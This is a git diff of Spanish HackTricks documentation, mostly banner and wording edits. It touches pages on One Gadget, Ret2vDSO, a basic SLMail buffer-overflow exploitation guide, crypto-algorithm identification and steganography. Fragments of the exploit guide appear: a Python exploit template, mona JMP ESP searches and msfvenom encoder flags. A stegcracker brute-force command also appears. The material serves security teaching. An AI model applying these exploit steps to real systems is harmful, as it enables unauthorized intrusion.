* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
[**One Gadget**](https://github.com/david942j/one\_gadget) permite obtener una shell en lugar de usar **system** y **"/bin/sh". One Gadget** encontrará dentro de la biblioteca **libc** alguna forma de obtener una shell (`execve("/bin/sh")`) usando solo una **dirección**.\
|
||||
Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL adicionales para evitar la restricción.
|
||||
[**One Gadget**](https://github.com/david942j/one\_gadget) permite obtener una shell en lugar de usar **system** y **"/bin/sh". One Gadget** encontrará dentro de la biblioteca libc alguna forma de obtener una shell (`execve("/bin/sh")`) usando solo una **dirección**.\
|
||||
Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar más valores NULL para evitar la restricción.
|
||||
|
||||
![](<../../../.gitbook/assets/image (754).png>)
|
||||
```python
|
||||
|
@ -43,16 +44,17 @@ pip install angry_gadget
|
|||
|
||||
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ret2vDSO
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -75,16 +76,17 @@ Después de volcar y verificar la sección vdso de un binario en kali 2023.2 arm
|
|||
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Windows Explotación (Guía Básica - Nivel OSCP)
|
||||
# Explotación de Windows (Guía Básica - Nivel OSCP)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Comienza instalando el servicio SLMail**
|
||||
|
||||
|
@ -24,7 +25,7 @@ net start slmail
|
|||
```
|
||||
![](<../.gitbook/assets/image (988).png>)
|
||||
|
||||
## Plantilla de exploit básica en python
|
||||
## Plantilla de exploit básica en Python
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
|
@ -46,7 +47,7 @@ print "\nFinished!."
|
|||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
## **Cambiar la fuente de Immunity Debugger**
|
||||
## **Cambiar la Fuente de Immunity Debugger**
|
||||
|
||||
Ir a `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||
|
||||
|
@ -58,7 +59,7 @@ Ir a `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
|||
|
||||
**Y presionar el botón START**
|
||||
|
||||
## **Enviar el exploit y verificar si EIP se ve afectado:**
|
||||
## **Enviar el exploit y verificar si EIP está afectado:**
|
||||
|
||||
![](<../.gitbook/assets/image (906).png>)
|
||||
|
||||
|
@ -162,15 +163,15 @@ Usando:
|
|||
```
|
||||
Debes **enumerar los mapas de memoria**. Busca alguna DLL que tenga:
|
||||
|
||||
- **Rebase: False**
|
||||
- **SafeSEH: False**
|
||||
- **ASLR: False**
|
||||
- **NXCompat: False**
|
||||
- **DLL del sistema operativo: True**
|
||||
* **Rebase: False**
|
||||
* **SafeSEH: False**
|
||||
* **ASLR: False**
|
||||
* **NXCompat: False**
|
||||
* **OS Dll: True**
|
||||
|
||||
![](<../.gitbook/assets/image (555).png>)
|
||||
|
||||
Ahora, dentro de esta memoria deberías encontrar algunos bytes de JMP ESP, para hacerlo ejecuta:
|
||||
Ahora, dentro de esta memoria debes encontrar algunos bytes JMP ESP, para hacerlo ejecuta:
|
||||
```
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
|
@ -247,16 +248,17 @@ Agregar estos parámetros:
|
|||
```bash
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,23 +2,24 @@
|
|||
|
||||
## Algoritmos Criptográficos/Compresión
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ayuda a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Identificación de Algoritmos
|
||||
|
||||
Si te encuentras con un código **que utiliza desplazamientos a la derecha e izquierda, xors y varias operaciones aritméticas** es altamente probable que sea la implementación de un **algoritmo criptográfico**. Aquí se mostrarán algunas formas de **identificar el algoritmo utilizado sin necesidad de revertir cada paso**.
|
||||
Si te encuentras con un código **que utiliza desplazamientos a la derecha e izquierda, XOR y varias operaciones aritméticas**, es altamente probable que sea la implementación de un **algoritmo criptográfico**. Aquí se mostrarán algunas formas de **identificar el algoritmo utilizado sin necesidad de revertir cada paso**.
|
||||
|
||||
### Funciones de API
|
||||
|
||||
|
@ -36,7 +37,7 @@ Comprime y descomprime un búfer de datos dado.
|
|||
|
||||
**CryptAcquireContext**
|
||||
|
||||
Desde [la documentación](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La función **CryptAcquireContext** se utiliza para adquirir un identificador a un contenedor de clave particular dentro de un proveedor de servicios criptográficos (CSP) específico. **Este identificador devuelto se utiliza en llamadas a funciones de CryptoAPI** que utilizan el CSP seleccionado.
|
||||
Según [la documentación](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La función **CryptAcquireContext** se utiliza para adquirir un identificador a un contenedor de claves particular dentro de un proveedor de servicios criptográficos (CSP) específico. **Este identificador devuelto se utiliza en llamadas a funciones de CryptoAPI** que utilizan el CSP seleccionado.
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
|
@ -49,7 +50,7 @@ Consulta aquí la tabla de algoritmos posibles y sus valores asignados: [https:/
|
|||
|
||||
### Constantes de Código
|
||||
|
||||
A veces es realmente fácil identificar un algoritmo gracias al hecho de que necesita utilizar un valor especial y único.
|
||||
A veces es muy fácil identificar un algoritmo gracias al hecho de que necesita utilizar un valor especial y único.
|
||||
|
||||
![](<../../.gitbook/assets/image (833).png>)
|
||||
|
||||
|
@ -62,7 +63,7 @@ Puedes buscar cualquiera de las otras constantes y obtendrás (probablemente) el
|
|||
|
||||
### Información de Datos
|
||||
|
||||
Si el código no tiene ninguna constante significativa, puede estar **cargando información desde la sección .data**.\
|
||||
Si el código no tiene ninguna constante significativa, puede estar **cargando información de la sección .data**.\
|
||||
Puedes acceder a esos datos, **agrupar el primer dword** y buscarlo en Google como hemos hecho en la sección anterior:
|
||||
|
||||
![](<../../.gitbook/assets/image (531).png>)
|
||||
|
@ -76,7 +77,7 @@ En este caso, si buscas **0xA56363C6** puedes encontrar que está relacionado co
|
|||
Está compuesto por 3 partes principales:
|
||||
|
||||
* **Etapa de Inicialización/**: Crea una **tabla de valores de 0x00 a 0xFF** (256 bytes en total, 0x100). Esta tabla comúnmente se llama **Caja de Sustitución** (o SBox).
|
||||
* **Etapa de Mezcla**: Recorrerá la tabla creada anteriormente (bucle de 0x100 iteraciones, nuevamente) modificando cada valor con bytes **semi-aleatorios**. Para crear estos bytes semi-aleatorios, se utiliza la **clave RC4**. Las **claves RC4** pueden tener **entre 1 y 256 bytes de longitud**, sin embargo, generalmente se recomienda que sea superior a 5 bytes. Comúnmente, las claves RC4 tienen una longitud de 16 bytes.
|
||||
* **Etapa de Mezcla**: Recorrerá **la tabla** creada anteriormente (bucle de 0x100 iteraciones, nuevamente) modificando cada valor con bytes **semi-aleatorios**. Para crear estos bytes semi-aleatorios, se utiliza la **clave RC4**. Las **claves RC4** pueden tener **entre 1 y 256 bytes de longitud**, sin embargo, generalmente se recomienda que sea superior a 5 bytes. Comúnmente, las claves RC4 tienen una longitud de 16 bytes.
|
||||
* **Etapa XOR**: Finalmente, el texto plano o cifrado se **XORea con los valores creados anteriormente**. La función para cifrar y descifrar es la misma. Para esto, se realizará un **bucle a través de los 256 bytes creados** tantas veces como sea necesario. Esto suele reconocerse en un código descompilado con un **%256 (módulo 256)**.
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -116,12 +117,12 @@ Está compuesto por 3 partes principales:
|
|||
|
||||
### Identificación
|
||||
|
||||
En la siguiente imagen, observa cómo se utiliza la constante **0x9E3779B9** (nota que esta constante también es utilizada por otros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\
|
||||
En la siguiente imagen, observa cómo se utiliza la constante **0x9E3779B9** (nota que esta constante también se utiliza en otros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\
|
||||
También observa el **tamaño del bucle** (**132**) y el **número de operaciones XOR** en las instrucciones de **desensamblado** y en el **ejemplo de código**:
|
||||
|
||||
![](<../../.gitbook/assets/image (547).png>)
|
||||
|
||||
Como se mencionó anteriormente, este código puede visualizarse dentro de cualquier descompilador como una **función muy larga** ya que **no hay saltos** dentro de ella. El código descompilado puede verse como sigue:
|
||||
Como se mencionó anteriormente, este código puede visualizarse dentro de cualquier descompilador como una **función muy larga** ya que **no hay saltos** dentro de ella. El código descompilado puede verse así:
|
||||
|
||||
![](<../../.gitbook/assets/image (513).png>)
|
||||
|
||||
|
@ -145,12 +146,12 @@ Por lo tanto, es posible identificar este algoritmo verificando el **número má
|
|||
|
||||
### Características
|
||||
|
||||
* 3 funciones: Init, Update, Final
|
||||
* 3 funciones: Iniciar, Actualizar, Finalizar
|
||||
* Funciones de inicialización similares
|
||||
|
||||
### Identificación
|
||||
### Identificar
|
||||
|
||||
**Init**
|
||||
**Iniciar**
|
||||
|
||||
Puedes identificar ambos verificando las constantes. Ten en cuenta que sha\_init tiene 1 constante que MD5 no tiene:
|
||||
|
||||
|
@ -167,7 +168,7 @@ Observa el uso de más constantes
|
|||
* Más pequeño y eficiente ya que su función es encontrar cambios accidentales en los datos
|
||||
* Utiliza tablas de búsqueda (por lo que puedes identificar constantes)
|
||||
|
||||
### Identificación
|
||||
### Identificar
|
||||
|
||||
Verifica las **constantes de la tabla de búsqueda**:
|
||||
|
||||
|
@ -182,9 +183,9 @@ Un algoritmo de hash CRC se ve así:
|
|||
### Características
|
||||
|
||||
* Constantes no reconocibles
|
||||
* Puedes intentar escribir el algoritmo en python y buscar cosas similares en línea
|
||||
* Puedes intentar escribir el algoritmo en Python y buscar cosas similares en línea
|
||||
|
||||
### Identificación
|
||||
### Identificar
|
||||
|
||||
El gráfico es bastante grande:
|
||||
|
||||
|
@ -193,17 +194,3 @@ El gráfico es bastante grande:
|
|||
Verifica **3 comparaciones para reconocerlo**:
|
||||
|
||||
![](<../../.gitbook/assets/image (430).png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Trucos de Estego
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de GitHub.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
|
@ -46,7 +47,7 @@ exiftool file # Shows the metadata
|
|||
```
|
||||
### **Exiv2**
|
||||
|
||||
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
|
||||
Similar to exiftool, for viewing metadata. Instalable via `apt`, fuente en [GitHub](https://github.com/Exiv2/exiv2), y tiene un [sitio web oficial](http://www.exiv2.org/).
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
|
@ -88,24 +89,24 @@ Los caracteres invisibles en espacios aparentemente vacíos pueden ocultar infor
|
|||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
Para intentar reparar una imagen dañada, agregar un comentario de metadatos podría ayudar:
|
||||
Para intentar reparar una imagen dañada, agregar un comentario de metadatos podría ser útil:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide para Ocultar Datos**
|
||||
### **Esteganografía con Steghide para Ocultar Datos**
|
||||
|
||||
Steghide facilita ocultar datos dentro de archivos `JPEG, BMP, WAV y AU`, capaz de incrustar y extraer datos encriptados. La instalación es sencilla utilizando `apt`, y su [código fuente está disponible en GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Comandos:**
|
||||
|
||||
* `steghide info archivo` revela si un archivo contiene datos ocultos.
|
||||
* `steghide extract -sf archivo [--contraseña contraseña]` extrae los datos ocultos, la contraseña es opcional.
|
||||
* `steghide extract -sf archivo [--contraseña contraseña]` extrae los datos ocultos, contraseña opcional.
|
||||
|
||||
Para extracción basada en web, visita [este sitio web](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Ataque de Fuerza Bruta con Stegcracker:**
|
||||
|
||||
* Para intentar la craqueo de contraseñas en Steghide, utiliza [stegcracker](https://github.com/Paradoxis/StegCracker.git) de la siguiente manera:
|
||||
* Para intentar descifrar contraseñas en Steghide, utiliza [stegcracker](https://github.com/Paradoxis/StegCracker.git) de la siguiente manera:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
|
